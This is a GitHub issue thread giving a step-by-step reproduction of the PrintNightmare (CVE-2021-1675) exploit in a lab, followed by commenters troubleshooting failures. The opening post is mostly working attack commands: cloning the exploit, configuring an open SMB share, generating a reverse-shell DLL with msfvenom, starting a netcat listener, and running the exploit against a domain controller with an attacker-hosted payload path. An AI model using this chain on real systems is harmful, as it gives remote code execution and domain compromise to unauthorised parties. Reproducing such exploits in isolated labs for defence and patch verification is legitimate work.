Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

How to Reproduce (Virtual Environment): #19

Closed
BlackSnufkin opened this issue Jul 2, 2021 · 13 comments
Closed

How to Reproduce (Virtual Environment): #19

BlackSnufkin opened this issue Jul 2, 2021 · 13 comments

Comments

@BlackSnufkin
Copy link

BlackSnufkin commented Jul 2, 2021

This is how I was able to reproduce the exploit in a virtual environment:


  1. The best practice is to create Python virtual Environment

    • python3 -m venv PrintNightmare
    • source PrintNightmare/bin/activate

  1. clone the repo and install the custom Impacket version:
  • git clone https://github.com/cube0x0/CVE-2021-1675.git
  • git clone https://github.com/cube0x0/impacket
  • cd impacket
  • python3 ./setup.py install

  1. Set up SMB share
  • copy the original smb.conf file and create a backup file
    cp /etc/samba/smb.conf /etc/samba/smb.conf.bak
  • now on the smb.conf change to this new configuration File
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445

[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = nobody
  • Spin up SMB share:

    impacket-smbserver smb /tmp/

In case you have some problems with the SMB try to use build-in SMBD service
service smbd start


  1. Payload Creation:
  • Create Reverse shell Payload as a DLL

    msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=<YOUR IP> LPORT=<PORT TO LISTEN> -f dll -o /tmp/rev.dll


  1. Windows Environment:
  • you need to create a dc with an active directory.
  • create a low privilege user
  • create a windows 10 as the client join him in the domain
  • login into the win10 with the new user

  1. Set up a listener
  • nc -lnvp 9001

  1. Run the Exploit
  • python3 CVE-2021-1675.py <FQDN>/<USER_Name>:<PASSWORD>@<DC IP> '\\<ATTACKER_IP>\smb\rev.dll'

  1. ENJOY your SHELL =)

Screenshot 2021-07-02 144836


Machines:

  • Attacker: kali Linux
  • DC: Server 2016
  • Client: win10
@BlackSnufkin BlackSnufkin changed the title How to Reproduce: How to Reproduce (Virtual Environment): Jul 2, 2021
@Followwind4567
Copy link

Hello,i do what you told.But it always show Connection Failed,what can i do...
image

@Followwind4567
Copy link

Shell i reboot all machine?

@BlackSnufkin
Copy link
Author

sometimes the spools service get crashed make sure that the service is running you can use rpcdump to verify

@Followwind4567
Copy link

DC and Client all need to be make sure?

@Followwind4567
Copy link

But it all show
image

@BlackSnufkin
Copy link
Author

interesting try to check manually on the DC,
if still having problems just reboot

@Followwind4567
Copy link

I use Server 2012 as DC,will it cause problems?

@BlackSnufkin
Copy link
Author

basically no but if remember right I saw someone on Twitter claiming he had problems with that version

@Followwind4567
Copy link

OK,i will use your config.Thank you very mach, hope i can fix that before dinner.I have work for it 2days...(;´༎ຶД༎ຶ`)

@BlackSnufkin
Copy link
Author

😄 it all good it took me 4 days until I was able to reproduce just try harder 😉

@MortalAndTry
Copy link

server 2012 r2 (dc) will failed with normal user

@Cory-Watson
Copy link

Cory-Watson commented Jul 14, 2021

I think this issue is because of the hard coded shebang (e.g. - #!/usr/bin/python3)

Changing to #!/usr/bin/env python3 solved the issue for me.

@gg0h
Copy link

gg0h commented Aug 19, 2021

Thank you, my using the payload windows/shell_reverse_tcp fails. Using the payload you suggest, windows/x64/shell_reverse_tcp is successful.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

5 participants